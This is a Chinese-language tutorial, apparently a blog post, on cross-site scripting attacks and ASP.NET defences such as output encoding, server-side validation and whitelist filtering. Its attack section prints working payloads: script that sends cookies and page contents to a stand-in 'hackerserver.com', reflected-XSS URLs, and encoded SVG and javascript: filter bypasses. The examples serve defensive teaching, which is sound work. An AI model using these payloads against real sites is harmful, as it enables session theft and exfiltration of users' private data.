概述
XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列表,然后向聯系人發送虛假詐騙信息,可以刪除用戶的日志等等,有時候還和其他攻擊方式同時實施比如SQL注入攻擊服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚,它帶來的危害是巨大的,是web安全的頭號大敵。
攻擊的條件
實施XSS攻擊需要具備兩個條件:
一、需要向web頁面注入惡意代碼;
二、這些惡意代碼能夠被瀏覽器成功的執行。
看一下下面這個例子:
<div id="el" style="background:url('javascript:eval(document.getElementById("el").getAttribute("code")) ')" code="var a = document.createElement('a'); a.innerHTML= '執行了惡意代碼';document.body.appendChild(a); //這這里執行代碼 "></div>
這段代碼在舊版的IE8和IE8以下的版本都是可以被執行的,火狐也能執行代碼,但火狐對其禁止訪問DOM對象,所以在火狐下執行將會看到控制里拋出異常:document is not defined (document是沒有定義的)
再來看一下面這段代碼:
<div> <img src="/images/handler.ashx?id=<%= Request.QueryString["id"] %>" /> </div>
相信很多程序員都覺得這個代碼很正常,其實這個代碼就存在一個反射型的XSS攻擊,假如輸入下面的地址:
http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="
最終反射出來的HTML代碼:
<div>
<img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" />
</div>
也許您會覺得把ValidateRequest設置為true或者保持默認值就能高枕無憂了,其實這種情況還可以輸入下面的地址達到相同的攻擊效果:
http://www.xxx.com/?id=xx" onerror="this.onload()" onload="alert(/xss/)" x="
根據XSS攻擊的效果可以分為幾種類型
第一、XSS反射型攻擊,惡意代碼並沒有保存在目標網站,通過引誘用戶點擊一個鏈接到目標網站的惡意鏈接來實施攻擊的。
第二、XSS存儲型攻擊,惡意代碼被保存到目標網站的服務器中,這種攻擊具有較強的穩定性和持久性,比較常見場景是在博客,論壇等社交網站上,但OA系統,和CRM系統上也能看到它身影,比如:某CRM系統的客戶投訴功能上存在XSS存儲型漏洞,黑客提交了惡意攻擊代碼,當系統管理員查看投訴信息時惡意代碼執行,竊取了客戶的資料,然而管理員毫不知情,這就是典型的XSS存儲型攻擊。
XSS攻擊能做些什么
1.竊取cookies,讀取目標網站的cookie發送到黑客的服務器上,如下面的代碼:
var i=document.createElement("img"); document.body.appendChild(i); i.src = "http://www.hackerserver.com/?c=" + document.cookie;
2.讀取用戶未公開的資料,如果:郵件列表或者內容、系統的客戶資料,聯系人列表等等,如代碼:
<!--讀取當前頁面的內容提交到黑客服務器上進行分析-->
var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>" var e = document.createElement("div"); document.documentElement.appendChild(e); e.style.display = "none"; e.innerHTML = h; var frm = document.forms["f"]; frm.data.value = document.documentElement.innerHTML; frm.submit();
<!--讀取當前頁面的內容提交到黑客服務器上進行分析-->
var xhr = new XMLHttpRequest(); xhr.open("POST or GET","/目標網站其他頁面的URL(如獲取郵箱列表的地址)"); xhr.onreadystatechange = function (e) { if (xhr.readyState == 4) { var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>" var e = document.createElement("div"); document.documentElement.appendChild(e); e.style.display = "none"; e.innerHTML = h; var frm = document.forms["f"]; frm.data.value = xhr.responseText; frm.submit(); } } xhr.send(null);
3.前面兩個是讀的操作,其實還可進行寫的操作,比如說:刪除用戶的博客,轉發指定的微博,向用戶的聯系人發送帶有惡意代碼的信息,進行下一步的傳播,如下面代碼:
var xhr = new XMLHttpRequest(); xhr.open("POST", "目標網站的執行頁面"); xhr.send(param);
當然XSS攻擊方法遠不止這些,黑客有很多天馬行空的方法,只要是讀和寫的操作,那么我們有什么防御的方法呢?
XSS攻擊防御
一、輸出檢查
根據XSS攻擊的條件,我們可以對用戶輸出進行檢查,使用系統的安全函數進行轉義將數據和代碼分開,asp.net的安全函數可以參考http://msdn.microsoft.com/en-us/library/system.web.httputility.aspx,根據不同的場景使用正確的安全函數,否則效果適得其反,如果下面例子:
<a href="#" onclick="javascript:var name='<%= HttpUtility.HtmlAttributeEncode(Request.QueryString["n"]) %>';alert(name);">hahaha...</a>
這個例子在HTML標簽的屬性內輸出使用HttpUtility.HtmlAttributeEncode函數進行轉義看似合情合理,但這個是特殊的屬性,它被解析為元素的事件,這類型的屬性在某特定條件下觸發事件並執行里面的代碼,如本例當用戶點擊這個鏈接是會執行里面的代碼。
比如輸入:http://www.a.com/text.aspx?n=';alert(/xss/);//
經過HttpUtility.HtmlAttributeEncode函數轉義后,輸出:
<a href="#" onclick="javascript:var name='';alert(/xss/);//';alert(name);">hahaha...</a>
點擊標簽將會彈出“/xss/” 而不是“';alert(/xss/);//” 注意:“'”被轉義為“'”即是HTML的一個實體,最終還是被解析為"'"字符,所以腳步被成功注入。
正確的做法應該是使用JavaScriptStringEncode函數或者 JavaScriptStringEncode和HtmlAttributeEncode函數:
<a href="#" onclick="javascript:var name='<%= HttpUtility.HtmlAttributeEncode(HttpUtility.JavaScriptStringEncode(Request.QueryString["n"])) %>';alert(name);">hahaha...</a>
二、輸入檢查
通常用於檢測用戶輸入的數據是否符合預期的格式,比如日期格式,Email格式,電話號碼格式等等;輸入檢查必須在服務端進行;當然為了提高用戶體驗和減輕服務端的資源客戶端也要進行一次檢查,但服務端檢查始終是必須的,有個別程序員卻調過來了認為客戶端檢查是必須的,服務端檢查是可選的,其實這是錯誤的邏輯,因為客戶端很容易被黑客繞過。
1.使用ASP.NET Mvc的屬性特性進行驗證:
using System; using System.Collections.Generic; using System.ComponentModel; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Web; namespace MvcApplication1.Models { public class Item { [Key] [Display(Name="項目ID")] public int ID { get; set; } [EmailAddress(ErrorMessage="電子郵箱錯誤")] [Required] [DisplayName("電子郵箱")] public string Email { get; set; } } }
2.當然也可以自己實現自定義驗證的特性,如下面代碼:
[Serializable] [AttributeUsage(AttributeTargets.Property, Inherited = true, AllowMultiple = false)] public class FormValidationAttribute : Attribute, IProperty { /////// <summary> /////// 錯誤信息 /////// </summary> ////public string ErrorMessage { get; set; } /// <summary> /// 必需的 /// </summary> public bool Required { get; set; } /// <summary> /// 電子郵件格式 /// </summary> public bool IsEmailFormat { get; set; } /// <summary> /// 電話號碼 /// </summary> public bool IsTelephoneNumber { get; set; } /// <summary> /// 是中文名或者英文名稱,中文少於2個字符,英文不少於3個字符 /// </summary> public bool IsChineseNameOrEnglishName { get; set; } /// <summary> /// 正則表達式 /// </summary> public string RegularExpression { get; set; } public RegexOptions RegexOptions { get; set; } /// <summary> /// 最大的長度 /// </summary> public int MaxLength { get; set; } public PropertyInfo Property {get;set;} }
應用到屬性上
public class Item { [FormValidation(MaxLength=200)] public string Name{ get; set; } [FormValidation(IsTelephoneNumber = true)] public string Mobile{ get; set; } [FormValidation(IsEmailFormat= true,Required=true)] public string Email { get; set; } }
寫個擴展方法通過反射類型進行驗證對象的屬性是否有效:

public class FormValidationException : Exception { public FormValidationException(PropertyInfo field) : this(field, null) { } public FormValidationException(PropertyInfo field, string message) : base(message) { Property = field; Field = field.Name; } public string Field { get; private set; } public PropertyInfo Property { get; private set; } public override string Message { get { string msg = base.Message; if (!string.IsNullOrWhiteSpace(Field)) { if (string.IsNullOrWhiteSpace(msg)) { msg = Field; } else { msg = string.Format("{0}({1})", msg, Field); } } return msg; } } } /// <summary> /// 不是必需的 /// </summary> public class NotRequiredException : FormValidationException { public NotRequiredException(PropertyInfo field) : base(field) {} public NotRequiredException(PropertyInfo field, string message) : base(field, message) {} } /// <summary> /// 無效的電子郵件格式 /// </summary> public class InvalidEmailFormatException : FormValidationException { public InvalidEmailFormatException(PropertyInfo field) : base(field) {} public InvalidEmailFormatException(PropertyInfo field, string message) : base(field, message) {} } /// <summary> /// 無效的電話號碼 /// </summary> public class InvalidTelephoneNumberFormatException : FormValidationException { public InvalidTelephoneNumberFormatException(PropertyInfo field) : base(field) {} public InvalidTelephoneNumberFormatException(PropertyInfo field, string message) : base(field, message) {} } /// <summary> /// 不是中文名或者英文名 /// </summary> public class NotChineseNameOrEnglishNameException : FormValidationException { public NotChineseNameOrEnglishNameException(PropertyInfo field) : base(field) {} public NotChineseNameOrEnglishNameException(PropertyInfo field, string message) : base(field, message) {} } /// <summary> /// 不符合正則表達式 /// </summary> public class InconformityRegularExpressionException : FormValidationException { public InconformityRegularExpressionException(PropertyInfo field) : base(field) {} public InconformityRegularExpressionException(PropertyInfo field, string message) : base(field, message) {} } public class ValueLengthIsLengthyException : FormValidationException { public ValueLengthIsLengthyException(PropertyInfo field) : base(field) { } public ValueLengthIsLengthyException(PropertyInfo field, string message) : base(field, message) { } } public static class FormValidationExtendMethods { static void Validation(PropertyInfo p, string value) { var fv = p.GetAttribute<FormValidationAttribute>(); #region 驗證 if (fv != null) { if (fv.Required && string.IsNullOrWhiteSpace(value)) { throw new NotRequiredException(p); } if (!string.IsNullOrWhiteSpace(value)) { if (!string.IsNullOrWhiteSpace(fv.RegularExpression) && !Regex.IsMatch(value, fv.RegularExpression, fv.RegexOptions)) { throw new InconformityRegularExpressionException(p); } if (fv.IsEmailFormat && !value.IsValidEmail()) { throw new InvalidEmailFormatException(p); } if (fv.IsTelephoneNumber && !value.IsTelephoneNumber()) { throw new InvalidTelephoneNumberFormatException(p); } if (fv.IsChineseNameOrEnglishName && !value.IsChineseNameOrEnglishName()) { throw new NotChineseNameOrEnglishNameException(p); } if (fv.MaxLength > 0 && value.Length > fv.MaxLength) { throw new ValueLengthIsLengthyException(p); } } } #endregion } public static bool Validation(this object o,bool isThrow=true) { bool err=false; Type t = o.GetType(); var ps = t.GetProperties(); try { foreach (var p in ps) { object v = null; try { v = p.GetValue(o, null); } catch { } Validation(p, v != null ? v.ToString() : string.Empty); } } catch { if (isThrow) throw; err = true; } return !err; } public static T GetInstance<T>(this NameValueCollection collection, bool verify = true) where T : class,new() { return collection.GetInstance<T>(new T(), verify); } public static T GetInstance<T>(this NameValueCollection collection, T instance, bool verify=true) where T : class { var ps = instance.GetType().GetProperties(); var keys = collection.AllKeys; foreach (var p in ps) { bool has = false; string k = p.Name; foreach (var o in keys) { if (string.Equals(o, k, StringComparison.InvariantCultureIgnoreCase)) { k = o; has = true; break; } } var value = has ? (collection[k] ?? "").Trim() : string.Empty; if (verify) { Validation(p, value); } ///如果沒有指定值,就保持默認值。 if (!has) continue; #region 賦值 try { if (p.PropertyType.IsEnum) { p.SetValue(instance, Enum.Parse(p.PropertyType, value), null); } else { p.SetValue(instance, p.PropertyType.Equals(typeof(string)) ? value : Convert.ChangeType(value, p.PropertyType), null); } } catch { } #endregion } return instance; } public static T GetInstance<T>(this HttpRequest request, bool verify = true) where T : class,new() { return request.GetInstance<T>(new T(), verify); } public static T GetInstance<T>(this HttpRequest request, T instance, bool verify = true) where T : class { return request.Form.GetInstance<T>(instance,verify); } }
最后使用起來就很方便了,如下面代碼:
try { Item data = Request.GetInstance<Item>(); } catch (FormValidationException exp) { //驗證失敗 通過FormValidationException 異常獲取哪個子段沒有合法。 }
三、轉換為安全的類型
類型檢查或者類型轉換到安全的類型,比如:int,float,枚舉類型等等,如在前面一個例子中將id轉換為int類型即可:
<div>
<img src="/images/handler.ashx?id=<%= int.Parse(Request.QueryString["id"]) %>" />
</div>
四、智能過濾惡意代碼
通過正確的輸出檢查我們能夠將數據安全的輸出到瀏覽器中,但有些時候會帶來不好的用戶體驗,當用戶通過html編輯器提交的數據:my name is <b>Jackson</b>
如果用前面的方法進行轉義: <%= HttpUtility.HtmlEncode("my name is <b>Jackson</b>") %>
那么輸出結果:my name is <b>Jackson</b>
被瀏覽器解析后:my name is <b>Jackson</b> 顯然這個肯定不是用戶想要的展示結果,所以我們要對這種富文本進行過濾,把惡意代碼摘除;如一些敏感關鍵字:javascript、vbscript,<script>等等,那么是不是把這些關鍵詞摘除掉就高枕無憂了呢?答案是否定的,來看一下下面的代碼:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
火狐瀏覽器解析后彈出:/xss/
<a href=javascript:alert('XSS')> haha... </a>
用戶點擊標簽后彈出:/xss/ 說明惡意代碼成功注入
那么我們應該如何過濾富文本呢?在標簽、屬性,以及CSS等代碼中,應該啟用白名單策略,避免使用黑名單策略,上面的做法就是黑名單策略,白名單策略告訴系統那些是標簽、屬性,或者CSS是安全的,如標簽:<a>、<b>、<div>、<img>;屬性:id、class、alt;CSS:color:red,width:22px等等。
最后給大家推薦兩個較好的XSS Filter:
Anti-Samy是OWASP上的一個開源項目,最早基於Java,現在已經擴展到.NET 2.0,3.0,3.5,目前還沒有4.0以上的版本。
下載地址:http://files.cnblogs.com/Jackson-Bruce/antisamy-project-1.5.3.zip
官方下載地址:http://owaspantisamy.googlecode.com/archive/d4575adf19850f01ac6882823662d29795de532f.zip
XSSAttacksFilters是我將Anti-Samy項目重構的一個項目,僅僅保留其白名單安全策略配置文檔,不過也做了細微的調整,這個項目暫時還沒有支持ASP.NET4.0以下的版本。
下載地址: http://files.cnblogs.com/Jackson-Bruce/XSSAttachs.zip
(完)